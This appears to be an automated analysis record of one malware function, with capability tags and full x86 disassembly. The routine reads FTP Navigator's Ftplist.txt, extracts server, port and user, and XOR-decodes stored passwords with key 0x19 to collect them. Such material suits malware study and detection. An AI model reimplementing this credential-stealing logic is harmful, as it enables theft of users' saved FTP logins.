Function at 0x42d093
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x7180
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x13b3]
push esi
push edi
push 0x3e7
push 0
push eax
mov dword [ebp - 0x717c], ecx
mov byte [ebp - 0x13b4], 0
call fcn.006390b0
mov esi, str.Ftplist.txt
mov byte [ebp - 0xfcc], 0
lea edi, [ebp - 0x14]
add esp, 0xc
lea eax, [ebp - 0xfcb]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str.C:FTP_Navigator
lea edi, [ebp - 0x28]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, 0x3e7
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
mov byte [ebp - 0x7fc], 0
lea eax, [ebp - 0x7fb]
push esi
push 0
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
lea edi, [esi + 1]
pop ecx
cmp eax, 1
jae 0x42d174
lea ecx, [ebp - 0x7fc]
call fcn.0042cf8a
test eax, eax
jne 0x42d16e
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x7fc]
push edi
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0xfcc]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, byte [ebp - 0xfcc]
mov byte [ebp - 0x7fc], al
lea ebx, [ebp - 0x7fc]
lea eax, [ebp - 0x14]
push eax
push ebx
push 0x6c643c
lea eax, [ebp - 0x13b4]
push edi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0x13b4]
xor ebx, ebx
mov dword [ebp - 0x7178], ebx
push 0x6c63d0
push eax
lea eax, [ebp - 0x7178]
push eax
call fcn.00649a00
add esp, 0xc
test eax, eax
jne 0x42d52c
cmp dword [ebp - 0x7178], ebx
je 0x42d52c
push dword [ebp - 0x7178]
lea eax, [ebp - 0x7174]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
je 0x42d51b
mov edi, dword [ebp - 0x717c]
lea eax, [ebp - 0x7174]
mov byte [ebp - 0x1f6c], bl
push eax
mov byte [ebp - 0x179c], bl
mov byte [ebp - 0x1b84], bl
mov byte [ebp - 0xbe4], bl
call fcn.00643470
pop ecx
test eax, eax
je 0x42d236
lea eax, [ebp - 0x7174]
push eax
call fcn.00643470
dec eax
pop ecx
cmp eax, 0x2710
jae 0x42d53f
mov byte [ebp + eax - 0x7174], bl
lea eax, [ebp - 0x7174]
push eax
lea eax, [ebp - 0x4a64]
push 0x2710
push eax
call fcn.006494f3
add esp, 0xc
lea eax, [ebp - 0x4a64]
push eax
call fcn.00643470
pop ecx
inc eax
push eax
lea eax, [ebp - 0x4a64]
push eax
call fcn.0064ffd4
lea eax, [ebp - 0x4a64]
push 0x6c9d7c
push eax
call fcn.00639500
add esp, 0x10
test eax, eax
je 0x42d4f9
lea eax, [ebp - 0x4a64]
push 0x6c9d7c
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42d392
push 0x6c9d7c
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4a64]
sub esi, ecx
lea ecx, [ebp - 0x7174]
add esi, ecx
add esi, eax
push 0x3b
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x42d4f9
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.00650b7d
lea eax, [ebp - 0x414]
push 0x6cb6c4
push eax
call fcn.00650fe0
add esp, 0x18
test eax, eax
je 0x42d4f9
lea eax, [ebp - 0x414]
push 0x6cb868
push eax
call fcn.00650fe0
pop ecx
pop ecx
test eax, eax
je 0x42d4f9
lea eax, [ebp - 0x414]
push eax
call fcn.00643470
pop ecx
lea eax, [ebp - 0x414]
mov byte [ebp - 0xbe4], bl
push eax
call fcn.00643470
pop ecx
cmp eax, 1
jb 0x42d4f9
lea eax, [ebp - 0x414]
mov esi, ebx
push eax
call fcn.00643470
pop ecx
test eax, eax
je 0x42d37e
mov al, byte [ebp + esi - 0x414]
xor al, 0x19
mov byte [ebp + esi - 0xbe4], al
lea eax, [ebp - 0x414]
push eax
inc esi
call fcn.00643470
pop ecx
cmp esi, eax
jb 0x42d35c
lea eax, [ebp - 0xbe4]
mov byte [ebp + esi - 0xbe4], bl
push eax
call fcn.00643470
pop ecx
lea eax, [ebp - 0x4a64]
push str.user
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42d3ee
push str.user
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4a64]
sub esi, ecx
lea ecx, [ebp - 0x7174]
add esi, ecx
add esi, eax
push 0x3b
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x42d3ee
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x1f6c]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x4a64]
push str.server
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42d44a
push str.server
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4a64]
sub esi, ecx
lea ecx, [ebp - 0x7174]
add esi, ecx
add esi, eax
push 0x3b
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x42d44a
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x1b84]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x4a64]
push str.port
push eax
call fcn.00639500
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42d4a6
push str.port
call fcn.00643470
pop ecx
lea ecx, [ebp - 0x4a64]
sub esi, ecx
lea ecx, [ebp - 0x7174]
add esi, ecx
add esi, eax
push 0x3b
push esi
call fcn.006393d0
pop ecx
pop ecx
test eax, eax
je 0x42d4a6
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x179c]
push 0x3e8
push eax
call fcn.00650b7d
add esp, 0x10
lea eax, [ebp - 0x179c]
push eax
lea eax, [ebp - 0x1b84]
push eax
push str._s:_s
lea eax, [ebp - 0x2354]
push 0x3e8
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbe4]
mov esi, 0x6c5bb9
mov ecx, edi
push 0xffffffffffffffff
push esi
push eax
lea eax, [ebp - 0x1f6c]
push eax
lea eax, [ebp - 0x2354]
push eax
push esi
push 0x14c
push 4
call fcn.0043ee6b
push dword [ebp - 0x7178]
lea eax, [ebp - 0x7174]
push 0x2710
push eax
call fcn.006494dd
add esp, 0xc
test eax, eax
jne 0x42d1ed
push dword [ebp - 0x7178]
call fcn.00649273
xor eax, eax
pop ecx
inc eax
jmp 0x42d52e
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4
call fcn.00612782
int3